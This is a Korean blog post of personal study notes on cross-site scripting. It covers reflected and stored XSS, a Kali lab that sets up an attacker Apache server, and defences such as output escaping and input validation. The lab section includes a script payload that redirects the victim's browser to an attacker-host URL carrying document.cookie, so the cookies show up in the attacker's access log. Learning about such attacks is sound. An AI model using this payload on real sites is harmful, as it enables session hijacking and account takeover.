웹해킹 실습 - 4. 크로스 사이트 스크립팅 공격(XSS)

roon-replica·2022년 6월 13일
0

웹보안

목록 보기
5/8

생각들

  • 크로스 사이트 스크립팅이... 클릭하면 어떤 스크립트를 실행하는지?

  • httpOnly 설정해놓으면 세션, 쿠키를 탈취하는게 불가능하지 않나?
    (document.cookie해도 아무 것도 표시 안되니까)

  • XSS 방지하는 lucy filter라는게 있었지

  • 스크립트가 실행된다고 해서 공격자에게 세션,쿠키 정보가 어떻게 전달될 수 있는지?
    -> url에 쿠키 붙이고 공격자 서버 url로 document.location 이용하여 리다이렉트 시키면 됨!!
    그러고 나서 웹 서버의 access log로 쿠키 확인

  • 피싱 어떻게 하는지 모름

개요

  • 스크립트 코드를 웹 애플리케이션에 삽입해서
    사용자의 브라우저에서 해당 코드를 실행하도록 만드는 공격

  • 다른 취약점들은 서버를 공격하는데
    크로스 사이트 스크립팅은 클라이언트를 공격한다는게 특징임

  • 주요 목표는 세션 쿠키 탈취라고 함..

  • 공격에 사용하는 js 코드에 따라 다양한 공격이 가능하다고 함
    실제 취약점을 가지고 있는 웹 서버와 상관없는 웹사이트의 정보도 공격자가 노릴 수 있게 된다고 함...

공격 방법

1. reflected XSS

  • 요청 메세지에 입력된 스크립트 코드가 응답 메세지를 통해 그대로 출력되는 취약점

  • reflected XSS를 예를 들면, 사용자 입력으로 html a 태그를 입력했는데
    화면에 표시될 때 문자열로 인식되지 않고 실행이 되어서 링크로 보이는 경우를 말하는 것임

  • 공격 과정

    1. 스크립트 코드가 담긴 요청 전송

    2. reflected XSS 취약점이 있으면 스크립트 코드를 그대로 반환하여 웹사이트에 출력
      브라우저가 스크립트 실행 -> 공격자에게 세션,쿠키를 전달
      (사용자가 위험한 js 스크립트는 잘 실행하지 않아서 피싱을 통해 실행되게 한다고 함)

    3. 공격자가 세션, 쿠키를 이용해 사용자 권한을 얻는다.

  • 공격 실습

    1. 칼리 리눅스에서 웹 서버(공격자의 호스트) 실행

      service apache2 start
       ip addr
       tail -f /var/log/apache2/access.log

      ip addr로 칼리 리눅스 ip 확인(eth1)하고
      브라우저로 접속하여 웹 서버 띄워졌는지 확인( 아파치 디폴트 페이지 표시)
      tail -f {파일명}으로 아파치 웹서버로 access log 표시

    2. xss 취약점이 있는 웹사이트로 가서 사용자 입력에 공격자 웹서버로 쿠키를 보내도록 입력

      <script> document.location='http://{공격자 웹서버 ip}/cookie?'+document.cookie </script> 
    3. 공격자 웹 서버의 access log에 쿠키 정보가 표시됨

  • BeEF 공격 프레임워크?
    js 후킹 코드를 실행하면 사용자 호스트를 대상으로 여러 공격을 할 수 있게 해주는 프로그램이라고 함..

2. stored XSS

  • 웹 서버에 스크립트에 저장되었다가나중에 실행되는 방법..

  • 공격 과정 예시

    1. 게시판 사이트에서 공격자가 악의적인 스크립트를 포함한 글 작성
    2. 다른 사용자가 게시판을 방문하여 공격자가 작성한 글 조회
    3. 스크립트 코드가 사용자에게 전달됨
      ( 여기서 게시글 내용이 문자열이 아니라 스크립트로 인식되는 것부터가 비정상임..)
    4. 브라우저가 스크립트를 실행하여 세션 쿠키를 공격자에게 전달
    5. 공격자는 세션 쿠키를 이용하여 권한을 우회하여 웹사이트 접속

xss 공격 대응

  • 사용자 입력에 스크립트를 입력하더라도 단순히 문자열로 표시되도록 하는 것이 가장 좋은 대응법이라고 함..
    -> 라이브러리 쓰면 될듯

  • 입력값을 검증하는 것도 공격을 차단 가능.

profile
집중 ➝ 프로세서↑ 시간 투자 ➝ 디스크↑

0개의 댓글